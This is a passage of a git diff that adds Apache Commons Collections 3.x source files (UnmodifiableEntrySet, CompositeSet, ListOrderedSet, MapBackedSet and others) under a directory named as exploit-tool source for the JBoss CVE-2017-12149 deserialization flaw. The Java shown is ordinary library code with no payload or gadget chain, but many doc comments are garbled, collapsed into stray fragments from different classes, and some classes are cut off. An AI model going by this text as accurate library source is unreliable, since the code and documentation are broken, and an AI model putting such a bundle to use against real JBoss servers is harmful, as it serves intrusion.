+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Comparator;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another SortedMap
to transform objects that are added.
+ * Map
to validate that elements added
+ * are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ * SortedMap
to validate that elements added
+ * are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ * Set
to ensure it can't be altered.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableEntrySet
+ extends AbstractSetDecorator implements Unmodifiable {
+
+ /**
+ * Factory method to create an unmodifiable set of Map Entry objects.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static Set decorate(Set set) {
+ if (set instanceof Unmodifiable) {
+ return set;
+ }
+ return new UnmodifiableEntrySet(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ private UnmodifiableEntrySet(Set set) {
+ super(set);
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return new UnmodifiableEntrySetIterator(collection.iterator());
+ }
+
+ public Object[] toArray() {
+ Object[] array = collection.toArray();
+ for (int i = 0; i < array.length; i++) {
+ array[i] = new UnmodifiableEntry((Map.Entry) array[i]);
+ }
+ return array;
+ }
+
+ public Object[] toArray(Object array[]) {
+ Object[] result = array;
+ if (array.length > 0) {
+ // we must create a new array to handle multi-threaded situations
+ // where another thread could access data before we decorate it
+ result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
+ }
+ result = collection.toArray(result);
+ for (int i = 0; i < result.length; i++) {
+ result[i] = new UnmodifiableEntry((Map.Entry) result[i]);
+ }
+
+ // check to see if result should be returned straight
+ if (result.length > array.length) {
+ return result;
+ }
+
+ // copy back into input array to fulfil the method contract
+ System.arraycopy(result, 0, array, 0, result.length);
+ if (array.length > result.length) {
+ array[result.length] = null;
+ }
+ return array;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implementation of an entry set iterator.
+ */
+ final static class UnmodifiableEntrySetIterator extends AbstractIteratorDecorator {
+
+ protected UnmodifiableEntrySetIterator(Iterator iterator) {
+ super(iterator);
+ }
+
+ public Object next() {
+ Map.Entry entry = (Map.Entry) iterator.next();
+ return new UnmodifiableEntry(entry);
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Implementation of a map entry that is unmodifiable.
+ */
+ final static class UnmodifiableEntry extends AbstractMapEntryDecorator {
+
+ protected UnmodifiableEntry(Map.Entry entry) {
+ super(entry);
+ }
+
+ public Object setValue(Object obj) {
+ throw new UnsupportedOperationException();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableMap.java"
new file mode 100644
index 0000000..48d29d5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableMap.java"
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.IterableMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.iterators.EntrySetMapIterator;
+import org.apache.commons.collections.iterators.UnmodifiableMapIterator;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another Map
to ensure it can't be altered.
+ * OrderedMap
to ensure it can't be altered.
+ * SortedMap
to ensure it can't be altered.
+ *
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/overview.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/overview.html"
new file mode 100644
index 0000000..82f6571
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/overview.html"
@@ -0,0 +1,112 @@
+
+
+
+ java.util
package for the standard Java collections.
+ Main features
+
+
+
+
+ Interface Description
+
+
+
+ {@link org.apache.commons.collections.Bag}
+
+
+ A new
+ Collection
subinterface that stores each object together
+ with the number of occurances. Methods are provided to get the number of
+ occurances, and to add and remove a certain number of that object.
+
+
+
+ {@link org.apache.commons.collections.Buffer}
+
+
+ A new
+ Collection
subinterface that allows objects to be removed
+ in some well-defined order. Methods enable the next item to be peeked and removed.
+
+
+
+ {@link org.apache.commons.collections.BidiMap}
+
+
+ A new
+ Map
subinterface that allows lookup from key to value and
+ from value to key with equal ease.
+
+
+
+ {@link org.apache.commons.collections.OrderedMap}
+
+
+ A new
+ Map
subinterface that is used when a map has an order, but is
+ not sorted. Methods enable bidriectional iteration through the map.
+
+
+
+ {@link org.apache.commons.collections.MapIterator}
+
+
+ A new
+ Iterator
subinterface specially designed for maps. This iterator
+ avoids the need for entrySet iteration of a map, and is simpler to use.
+
+
+
+ {@link org.apache.commons.collections.ResettableIterator}
+
+
+ A new
+ Iterator
subinterface that allows the iteration to be reset back
+ to the start. Many iterators in this library have this functionality.
+
+
+
+ {@link org.apache.commons.collections.Closure}
+
+ {@link org.apache.commons.collections.Predicate}
+ {@link org.apache.commons.collections.Transformer}
+ {@link org.apache.commons.collections.Factory}
+
+ A group of functor interfaces that provide plugin behaviour to various
+ collections and utilities.
+
+
+
+Set
to provide additional behaviour.
+ * SortedSet
to provide additional behaviour.
+ * set
composited
+ * @param set The initial set in the composite
+ */
+ public CompositeSet(Set set) {
+ super(set);
+ }
+
+ /**
+ * Create a composite set with sets as the initial set of composited Sets
+ */
+ public CompositeSet(Set[] sets) {
+ super(sets);
+ }
+
+ /**
+ * Add a Set to this composite
+ *
+ * @param c Must implement Set
+ * @throws IllegalArgumentException if c does not implement java.util.Set
+ * or if a SetMutator is set, but fails to resolve a collision
+ * @throws UnsupportedOperationException if there is no SetMutator set, or
+ * a CollectionMutator is set instead of a SetMutator
+ * @see org.apache.commons.collections.collection.CompositeCollection.CollectionMutator
+ * @see SetMutator
+ */
+ public synchronized void addComposited(Collection c) {
+ if (!(c instanceof Set)) {
+ throw new IllegalArgumentException("Collections added must implement java.util.Set");
+ }
+
+ for (Iterator i = this.getCollections().iterator(); i.hasNext();) {
+ Set set = (Set) i.next();
+ Collection intersects = CollectionUtils.intersection(set, c);
+ if (intersects.size() > 0) {
+ if (this.mutator == null) {
+ throw new UnsupportedOperationException(
+ "Collision adding composited collection with no SetMutator set");
+ }
+ else if (!(this.mutator instanceof SetMutator)) {
+ throw new UnsupportedOperationException(
+ "Collision adding composited collection to a CompositeSet with a CollectionMutator instead of a SetMutator");
+ }
+ ((SetMutator) this.mutator).resolveCollision(this, set, (Set) c, intersects);
+ if (CollectionUtils.intersection(set, c).size() > 0) {
+ throw new IllegalArgumentException(
+ "Attempt to add illegal entry unresolved by SetMutator.resolveCollision()");
+ }
+ }
+ }
+ super.addComposited(new Collection[]{c});
+ }
+
+ /**
+ * Add two sets to this composite
+ *
+ * @throws IllegalArgumentException if c or d does not implement java.util.Set
+ */
+ public synchronized void addComposited(Collection c, Collection d) {
+ if (!(c instanceof Set)) throw new IllegalArgumentException("Argument must implement java.util.Set");
+ if (!(d instanceof Set)) throw new IllegalArgumentException("Argument must implement java.util.Set");
+ this.addComposited(new Set[]{(Set) c, (Set) d});
+ }
+
+ /**
+ * Add an array of sets to this composite
+ * @param comps
+ * @throws IllegalArgumentException if any of the collections in comps do not implement Set
+ */
+ public synchronized void addComposited(Collection[] comps) {
+ for (int i = comps.length - 1; i >= 0; --i) {
+ this.addComposited(comps[i]);
+ }
+ }
+
+ /**
+ * This can receive either a CompositeCollection.CollectionMutator
+ * or a CompositeSet.SetMutator
. If a
+ * CompositeCollection.CollectionMutator
is used than conflicts when adding
+ * composited sets will throw IllegalArgumentException
+ * CollectionMutator
is defined for this CompositeSet then this
+ * method will be called anyway.
+ *
+ * @param obj Object to be removed
+ * @return true if the object is removed, false otherwise
+ */
+ public boolean remove(Object obj) {
+ for (Iterator i = this.getCollections().iterator(); i.hasNext();) {
+ Set set = (Set) i.next();
+ if (set.contains(obj)) return set.remove(obj);
+ }
+ return false;
+ }
+
+
+ /**
+ * @see Set#equals
+ */
+ public boolean equals(Object obj) {
+ if (obj instanceof Set) {
+ Set set = (Set) obj;
+ if (set.containsAll(this) && set.size() == this.size()) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * @see Set#hashCode
+ */
+ public int hashCode() {
+ int code = 0;
+ for (Iterator i = this.iterator(); i.hasNext();) {
+ Object next = i.next();
+ code += (next != null ? next.hashCode() : 0);
+ }
+ return code;
+ }
+
+ /**
+ * Define callbacks for mutation operations.
+ * added
and existing
still have any intersects
+ * after this method returns an IllegalArgumentException will be thrown.
+ * Set
to ensure that the order of addition
+ * is retained and used by the iterator.
+ * List
, such as get(int)
, remove(int)
+ * and indexOf(int)
. An unmodifiable List
view of
+ * the set can be obtained via asList()
.
+ * List
interface directly as
+ * various interface methods (notably equals/hashCode) are incompatable with a set.
+ * ArrayList
is used to retain order.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static ListOrderedSet decorate(Set set) {
+ return new ListOrderedSet(set);
+ }
+
+ /**
+ * Factory method to create an ordered set using the supplied list to retain order.
+ * HashSet
is used for the set behaviour.
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ public static ListOrderedSet decorate(List list) {
+ if (list == null) {
+ throw new IllegalArgumentException("List must not be null");
+ }
+ Set set = new HashSet(list);
+ list.retainAll(set);
+
+ return new ListOrderedSet(set, list);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new empty ListOrderedSet
using
+ * a HashSet
and an ArrayList
internally.
+ *
+ * @since Commons Collections 3.1
+ */
+ public ListOrderedSet() {
+ super(new HashSet());
+ setOrder = new ArrayList();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected ListOrderedSet(Set set) {
+ super(set);
+ setOrder = new ArrayList(set);
+ }
+
+ /**
+ * Constructor that wraps (not copies) the Set and specifies the list to use.
+ * Map
to obtain Set
behaviour.
+ * Set
with the same properties as
+ * the key set of any map. Thus, a ReferenceSet can be created by wrapping a
+ * ReferenceMap
in an instance of this class.
+ * BidiMap
implementations, as they require unique values.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.2 $ $Date: 2004/06/02 22:00:47 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class MapBackedSet implements Set, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 6723912213766056587L;
+
+ /** The map being used as the backing store */
+ protected final Map map;
+ /** The dummyValue to use */
+ protected final Object dummyValue;
+
+ /**
+ * Factory method to create a set from a map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static Set decorate(Map map) {
+ return decorate(map, null);
+ }
+
+ /**
+ * Factory method to create a set from a map.
+ *
+ * @param map the map to decorate, must not be null
+ * @param dummyValue the dummy value to use
+ * @throws IllegalArgumentException if map is null
+ */
+ public static Set decorate(Map map, Object dummyValue) {
+ if (map == null) {
+ throw new IllegalArgumentException("The map must not be null");
+ }
+ return new MapBackedSet(map, dummyValue);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param dummyValue the dummy value to use
+ * @throws IllegalArgumentException if map is null
+ */
+ private MapBackedSet(Map map, Object dummyValue) {
+ super();
+ this.map = map;
+ this.dummyValue = dummyValue;
+ }
+
+ //-----------------------------------------------------------------------
+ public int size() {
+ return map.size();
+ }
+
+ public boolean isEmpty() {
+ return map.isEmpty();
+ }
+
+ public Iterator iterator() {
+ return map.keySet().iterator();
+ }
+
+ public boolean contains(Object obj) {
+ return map.containsKey(obj);
+ }
+
+ public boolean containsAll(Collection coll) {
+ return map.keySet().containsAll(coll);
+ }
+
+ public boolean add(Object obj) {
+ int size = map.size();
+ map.put(obj, dummyValue);
+ return (map.size() != size);
+ }
+
+ public boolean addAll(Collection coll) {
+ int size = map.size();
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ Object obj = (Object) it.next();
+ map.put(obj, dummyValue);
+ }
+ return (map.size() != size);
+ }
+
+ public boolean remove(Object obj) {
+ int size = map.size();
+ map.remove(obj);
+ return (map.size() != size);
+ }
+
+ public boolean removeAll(Collection coll) {
+ return map.keySet().removeAll(coll);
+ }
+
+ public boolean retainAll(Collection coll) {
+ return map.keySet().retainAll(coll);
+ }
+
+ public void clear() {
+ map.clear();
+ }
+
+ public Object[] toArray() {
+ return map.keySet().toArray();
+ }
+
+ public Object[] toArray(Object[] array) {
+ return map.keySet().toArray(array);
+ }
+
+ public boolean equals(Object obj) {
+ return map.keySet().equals(obj);
+ }
+
+ public int hashCode() {
+ return map.keySet().hashCode();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSet.java"
new file mode 100644
index 0000000..8b14385
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSet.java"
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.collection.PredicatedCollection;
+
+/**
+ * Decorates another Set
to validate that all additions
+ * match a specified predicate.
+ * Set set = PredicatedSet.decorate(new HashSet(), NotNullPredicate.INSTANCE);
+ * SortedSet
to validate that all additions
+ * match a specified predicate.
+ * SortedSet set = PredicatedSortedSet.decorate(new TreeSet(), NotNullPredicate.INSTANCE);
+ * Set
to synchronize its behaviour for a
+ * multi-threaded environment.
+ * SortedSet
to synchronize its behaviour
+ * for a multi-threaded environment.
+ * Set
to transform objects that are added.
+ * SortedSet
to transform objects that are added.
+ * Set
to validate that elements
+ * added are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/05/07 23:28:38 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedSet {
+
+ /**
+ * Factory method to create a typed set.
+ * SortedSet
to validate that elements
+ * added are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/05/07 23:28:38 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedSortedSet {
+
+ /**
+ * Factory method to create a typed sorted set.
+ * Set
to ensure it can't be altered.
+ * SortedSet
to ensure it can't be altered.
+ *
+
+The following decorators are provided in the package:
+
+
+
+